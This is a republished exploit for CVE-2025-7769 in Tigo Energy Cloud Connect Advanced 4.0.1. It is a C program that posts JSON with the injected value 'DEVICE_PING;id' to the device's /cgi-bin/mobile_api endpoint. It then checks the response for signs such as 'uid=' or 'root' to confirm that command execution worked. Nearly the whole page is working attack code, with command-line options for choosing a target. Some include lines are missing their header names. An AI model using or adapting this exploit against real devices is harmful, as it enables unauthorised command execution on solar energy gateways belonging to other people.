Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 – Command Injection


/*
 * Title           : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection
 * Author       : Byte Reaper
 * CVE          : CVE-2025-7769
 */


#include 
#include 
#include 
#include "argparse.h"
#include 
#include 
#include 
#define FULL_URL  2500
#define POST_PAYLOAD   5500


const char *baseurl = NULL; 
const char *cookies = NULL; 
const char *ip = NULL;
const char *caFile = NULL;
int caS = 0;
const char *nameFileC = NULL;
int port = 0;
int uC  =0;
int verbose = 0;


void exitSyscall()
{
    __asm__ volatile
    (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax", 
         "rdi"
    );
}

int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        exitSyscall();
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
        return 0;

    }
    return 0;
}
void nanoSleep(void)
{
    struct timespec ob;
    ob.tv_sec = 0;
    ob.tv_nsec = 500 * 1000 * 1000;

    __asm__ volatile
    (
    "mov $230, %%rax\n\t"
    "mov $1, %%rdi\n\t"
    "xor %%rsi, %%rsi\n\t"
    "mov %0, %%rdx\n\t"
    "xor %%r10, %%r10\n\t"
    "syscall\n\t"
    :
    : "r"(&ob)
    : "rax",
      "rdi",
      "rsi",
      "rdx",
      "r10",
      "memory"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *wordInjection[] = 
{
	//Result ID
	"admin",
	"root",
	"groups=0",
	"gid=0",
	"uid=1000",
	"gid=1000",
	"groups=1000",
	"bluetooth",
	//Result ls
	".txt",
	".py",
	".php",
	".sh",
	".js",
	//Result pwd
	"home",
	"Documents",
	"Desktop",
	"Downloads",
	"Public",
	"Videos",
	NULL
};
void postRequest(const char *baseurl, const char *ip, int port)
{
	char full[FULL_URL];
	CURL *curl = curl_easy_init();
	CURLcode res;
	
	if (curl == NULL)
	{
		printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
		printf("\e[0;31m[-] Check Connection ...\e[0m\n" );
		const char *googleIp = "142.251.37.46";
		printf("\e[0;31m[-] Ping Command (ip = %s)\e[0m\n", googleIp);
		const char *cP = "/bin/ping";
        	const char *av[]      = {
        					"ping", 
        					"-c", 
        					"5", 
        					"google.com", 
        					NULL
        				};
		const char *ep[] = 
				{
					NULL
				};
		__asm__ volatile
		(
			"MOV $59, %%rax\n\t"
			"MOV %[cmd], %%rdi\n\t"
			"MOV %[argv], %%rsi\n\t"
			"MOV %[envp], %%rdx\n\t"
			"syscall\n\t"
			".1:\n\t"
			"MOV $0x3C, %%rax\n\t"
			"XOR %%rdi, %%rdi\n\t"
			"syscall\n\t"
			:
			: [cmd] "r" (cP),
			  [argv] "r" (av),
			  [envp] "r"(ep)
 			:"rax", 
 			 "rdi", 
 			 "rsi", 
 			 "rdx"
		);
	}
	if (port != 0)
	{
		goto ipPT;
	}
	printf("\e[0;31m[-] Port Not Select.\n");
	if (ip)
	{
		unsigned  long ipformat ;
		ipformat = inet_addr(ip);
		if (ipformat == INADDR_NONE || ipformat == -1)
		{
			printf("\e[0;31m[-] Invalid IP address string.\e[0m\n");
			exitSyscall();
		}
		int lenIp = snprintf(full, sizeof(full), 
						"http://%s/cgi-bin/mobile_api", 
						ip);
	        if (checkLen(lenIp,full, sizeof(full)) == 1)
		{
			printf("\e[0;31m[-] Len FUll URL (IP) Is Long !\e[0m\n");
			printf("\e[0;31m[-] Len : %d\n",lenIp);
			exitSyscall();
		}
		goto done;
		ipPT:
		
			printf("\e[0;36m[+] PORT : %d\e[0m\n", port);
			int lenIpPT = snprintf(full, sizeof(full), 
						"http://%s:%d/cgi-bin/mobile_api", 
						ip, 
						port);
			if (checkLen(lenIpPT,full, sizeof(full)) == 1)
			{
				printf("\e[0;31m[-] Len FUll URL (IP And Port) Is Long !\e[0m\n");
				printf("\e[0;31m[-] Len : %d\e[0m\n",lenIpPT);
				exitSyscall();
			}
		
	     
		
	}
	else if (baseurl != NULL) 
	{
		int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl);
		if (checkLen(lenUrl,full, sizeof(full)) == 1)
		{
			printf("\e[0;31m[-] Len FUll URL (URL and EndPoint) Is Long !\e[0m\n");
			printf("\e[0;31m[-] Len : %d\e[0m\n",lenUrl);
			exitSyscall();
		}
		
	}
	printf("\e[0;36m[+] Final Full URL Format : %s\e[0m\n", full);
	printf("\e[0;36m[+] Preparation POST Payload...\e[0m\n");
	printf("\e[0;36m[+] Command Payload Injection (cmd = id)\e[0m\n");
	char post[POST_PAYLOAD];
	
	snprintf(post, 
			sizeof(post), 
			"{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}");
	printf("\e[0;34m[+] POST DATA : \n%s\n", post);

	struct Mem rS;
	rS.buffer = NULL;
	rS.len = 0;
	done : 
		if (curl)
		{
			curl_easy_setopt(curl, CURLOPT_URL, full);

			if (uC)
			{
			    curl_easy_setopt(curl,
				             CURLOPT_COOKIEFILE,
				             cookies);
			    curl_easy_setopt(curl,
				             CURLOPT_COOKIEJAR,
				             cookies);

			}
			curl_easy_setopt(curl, 
				CURLOPT_POST, 
				1L);
			curl_easy_setopt(curl, 
				CURLOPT_POSTFIELDS, 
				post);
			curl_easy_setopt(curl, 
				CURLOPT_POSTFIELDSIZE, 
				(long)strlen(post));

			curl_easy_setopt(curl,
				         CURLOPT_ACCEPT_ENCODING,
				         "");
			curl_easy_setopt(curl,
				         CURLOPT_FOLLOWLOCATION,
				         1L);
			curl_easy_setopt(curl,
				         CURLOPT_WRITEFUNCTION,
				         write_cb);
			curl_easy_setopt(curl,
				         CURLOPT_WRITEDATA,
				         &rS);
			curl_easy_setopt(curl,
				         CURLOPT_CONNECTTIMEOUT,
				         5L);
			nanoSleep();
			curl_easy_setopt(curl,
				         CURLOPT_TIMEOUT,
				         10L);
			if (caS)
			{
				curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
				curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);

			}                 
			else
			{
				curl_easy_setopt(curl,
				         CURLOPT_SSL_VERIFYPEER,
				         0L);
				curl_easy_setopt(curl,
						 CURLOPT_SSL_VERIFYHOST,
						 0L);
			}
		
			if (verbose)
			{
			    printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
			    curl_easy_setopt(curl,
				             CURLOPT_VERBOSE,
				             1L);
			}
			struct curl_slist *headers = NULL;
			headers = curl_slist_append(headers,
				              "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
			headers = curl_slist_append(headers,
				              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
			if (ip)
			{
				char headerHost[150];
				int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip);
				if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1)
				{
					printf("\e[0;31m[-] Header Host Is Long Please Check Size IP !\e[0m\n");
					printf("\e[0;31m[-] Len : %d\e[0m\n", lenH);
					exitSyscall();
				}
				else
				{
					printf("\e[0;34m[+] Header Host Create Successfully.\e[0m\n");
					if (verbose)
					{
						printf("\e[0;34m[+] Header Host : %s\e[0m\n",headerHost);
					}
					headers = curl_slist_append(headers,
				              headerHost);
					
				}
			}
			headers = curl_slist_append(headers,
				              "Accept-Encoding: gzip, deflate, br");
			headers = curl_slist_append(headers,
				              "Accept-Language: en-US,en;q=0.5");
			headers = curl_slist_append(headers,
				              "Connection: keep-alive");
			headers = curl_slist_append(headers,
				              "Upgrade-Insecure-Requests: 1");
			headers = curl_slist_append(headers, "Content-Type: application/json");

			headers = curl_slist_append(headers,
				              "Cache-Control: max-age=0");
			curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
			res = curl_easy_perform(curl);
			curl_slist_free_all(headers);
			long hC = 0;
			if (res == CURLE_OK)
			{
				printf("\e[0;36m[+] Request sent successfully\e[0m\n");
				if (rS.len != 0)
				{
					printf("\e[0;32m[+] Response Len : %d\e[0m\n", rS.len);
				}
				else
				{
					printf("\e[0;31m[-] Response Len IS (0)\e[0m\n");
				}
				
				curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
		                      &hC);
		                printf("\e[0;32m[+] Http Code : %ld\e[0m\n", hC);
		                if (verbose)
				{
				    if (rS.buffer)
				    {
				        printf("\e[0;35m\n======================================== [RESPONSE] ========================================\e[0m\n");
				        printf("%s\n", rS.buffer);
				        printf("\e[0;32m[Len] : %zu\e[0m\n", rS.len);
				        printf("\e[0;35m\n=============================================================================================\e[0m\n");
				    }
				}
		                if (hC >= 200 && hC < 300)
		                {
		                         int s = 0;
		                	 for (int j = 0; wordInjection[j] != NULL; j++)
				         {
				        	if (strstr(rS.buffer, wordInjection[j]) != NULL)
				        	{
				        		printf("[+] Word Found : %s\n", wordInjection[j]);
				        		if (rS.buffer != NULL)
				        		{
								
				        			printf("\e[0;35m 	============================================= [RESPONSE] =============================================\e[0m\n");
				        			printf("\n%s\n",rS.buffer);
				        			printf("\e[0;35m 	======================================================================================================\e[0m\n");
				        		}
				        		else
				        		{
								if (verbose)
								{
									printf("\e[0;31m[-] Word Not Found  : %s\e[0m\n", wordInjection[j]);
								}
								if (s)
								{
									printf("\e[0;31m[-] Not found Word Command Injection In Response !\e[0m\n");
								}
				        
				        		}
				        	}
				         }
                        
		                }
		                else 
		                {
		                	printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", hC);
		                }	
			}
			else
			{
			    printf("\e[0;31m[-] The request was not sent !\e[0m\n");
			    printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
			    exitSyscall();

			}
			
			
		}
		curl_easy_cleanup(curl);
	    	if (rS.buffer)
	    	{
			free(rS.buffer);
			rS.buffer = NULL;
			rS.len = 0;
	    	}
		
}

int main(int argc, const char **argv)
{
    printf(
           "\e[0;31m"
	   "   	░██████  ░██    ░██ ░██████████          ░██████    ░████    ░██████  ░████████         ░█████████ ░█████████  ░██████   ░██████          \n"
	   "	░██   ░██ ░██    ░██ ░██                 ░██   ░██  ░██ ░██  ░██   ░██ ░██               ░██    ░██ ░██    ░██ ░██   ░██ ░██   ░██        \n"
	   "	░██        ░██    ░██ ░██                       ░██ ░██ ░████       ░██ ░███████                ░██        ░██  ░██       ░██   ░██       \n"
	   "	░██        ░██    ░██ ░█████████  ░██████   ░█████  ░██░██░██   ░█████        ░██ ░██████      ░██        ░██   ░███████   ░███████       \n"
	   "	░██         ░██  ░██  ░██                  ░██      ░████ ░██  ░██      ░██   ░██             ░██        ░██    ░██   ░██       ░██      \n "
	   "	░██   ░██   ░██░██   ░██                 ░██        ░██ ░██  ░██       ░██   ░██             ░██        ░██    ░██   ░██ ░██   ░██        \n"
	   "	░██████     ░███    ░██████████         ░████████   ░████   ░████████  ░██████              ░██        ░██     ░██████   ░██████          \n"
		                                                                                         "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\e[0;37mByte Reaper\n\e[0m"                                   
                                                                                                                                    
                                                                                                                          
    
    );
    printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
    curl_global_init(CURL_GLOBAL_DEFAULT);

    struct argparse_option options[] =
    {
        OPT_HELP(),
               OPT_STRING('u',
                          "url",
                          &baseurl,
                          "Enter Target Url (http://)"),
               OPT_STRING('c',
                          "cookies",
                          &nameFileC,
                          "Enter File cookies"),

        OPT_STRING('i',
                   "ip",
                   &ip,
                   "Target IP ADDRESS"),
        OPT_INTEGER('p',
                    "port",
                    &port,
                    "Target PORT"),
        OPT_STRING('a',
                          "ca",
                          &caFile,
                          "CA FILE"),         
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
                    OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!baseurl && !ip)
    {
        printf("\e[0;31m-] Please Enter target Url OR target IP !\e[0m\n");
        printf("\e[0;31m[-] Example : ./CVE-2025-7769 -u http:// OR -i \e[0m\n");
        exitSyscall();
    }
    if (nameFileC)
    {
        uC = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (!port)
    {
    	port  = 0;
    }
    if (port && baseurl)
    {
    	printf("\e[0;31m[-] Please Enter Base URL !\e[0m\n");
    	exitSyscall();
    	
    }
    if (caFile)
    {
    	caS = 1;
    }
    postRequest(baseurl, ip, port);
    curl_global_cleanup();
    return 0;

}
            



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *